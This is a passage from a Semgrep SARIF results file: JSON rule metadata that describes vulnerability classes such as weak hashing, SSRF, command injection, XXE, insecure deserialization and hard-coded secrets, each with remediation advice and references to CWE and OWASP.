php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","id":"python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","name":"python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","id":"python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","name":"python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"help":{"markdown":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-spawn-process.dangerous-spawn-process)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-spawn-process.dangerous-spawn-process","id":"python.lang.security.dangerous-spawn-process.dangerous-spawn-process","name":"python.lang.security.dangerous-spawn-process.dangerous-spawn-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-spawn-process.dangerous-spawn-process"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","id":"python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","name":"python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication."},"help":{"markdown":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster)\n - [https://kubernetes.io/docs/reference/config-api/client-authentication.v1beta1/#client-authentication-k8s-io-v1beta1-Cluster](https://kubernetes.io/docs/reference/config-api/client-authentication.v1beta1/#client-authentication-k8s-io-v1beta1-Cluster)\n","text":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","id":"yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","name":"yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure all Elasticsearch has node-to-node encryption enabled.\t"},"help":{"markdown":"Ensure all Elasticsearch has node-to-node encryption enabled.\t\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure all Elasticsearch has node-to-node encryption enabled.\t"},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","id":"terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","name":"terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","id":"java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","name":"java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens."},"help":{"markdown":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.base-convert-loses-precision.base-convert-loses-precision)\n - [https://www.php.net/base_convert](https://www.php.net/base_convert)\n - [https://www.sjoerdlangkemper.nl/2017/03/15/dont-use-base-convert-on-random-tokens/](https://www.sjoerdlangkemper.nl/2017/03/15/dont-use-base-convert-on-random-tokens/)\n","text":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.base-convert-loses-precision.base-convert-loses-precision","id":"php.lang.security.base-convert-loses-precision.base-convert-loses-precision","name":"php.lang.security.base-convert-loses-precision.base-convert-loses-precision","properties":{"precision":"very-high","tags":["CWE-190: Integer Overflow or Wraparound","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.base-convert-loses-precision.base-convert-loses-precision"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","id":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","name":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc4.use-of-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","id":"kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","name":"kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","id":"javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","name":"javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"help":{"markdown":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","id":"cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","name":"cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director."},"help":{"markdown":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.reverseproxy-director.reverseproxy-director)\n - [https://github.com/golang/go/issues/50580](https://github.com/golang/go/issues/50580)\n","text":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director."},"helpUri":"https://semgrep.dev/r/go.lang.security.reverseproxy-director.reverseproxy-director","id":"go.lang.security.reverseproxy-director.reverseproxy-director","name":"go.lang.security.reverseproxy-director.reverseproxy-director","properties":{"precision":"very-high","tags":["CWE-115: Misinterpretation of Input","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.reverseproxy-director.reverseproxy-director"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions."},"help":{"markdown":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","id":"javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","name":"javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution."},"help":{"markdown":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","id":"cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","name":"cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","properties":{"precision":"very-high","tags":["CWE-114: Process Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"certificate verification explicitly disabled, insecure connections possible"},"help":{"markdown":"certificate verification explicitly disabled, insecure connections possible\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"certificate verification explicitly disabled, insecure connections possible"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","id":"python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","name":"python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against 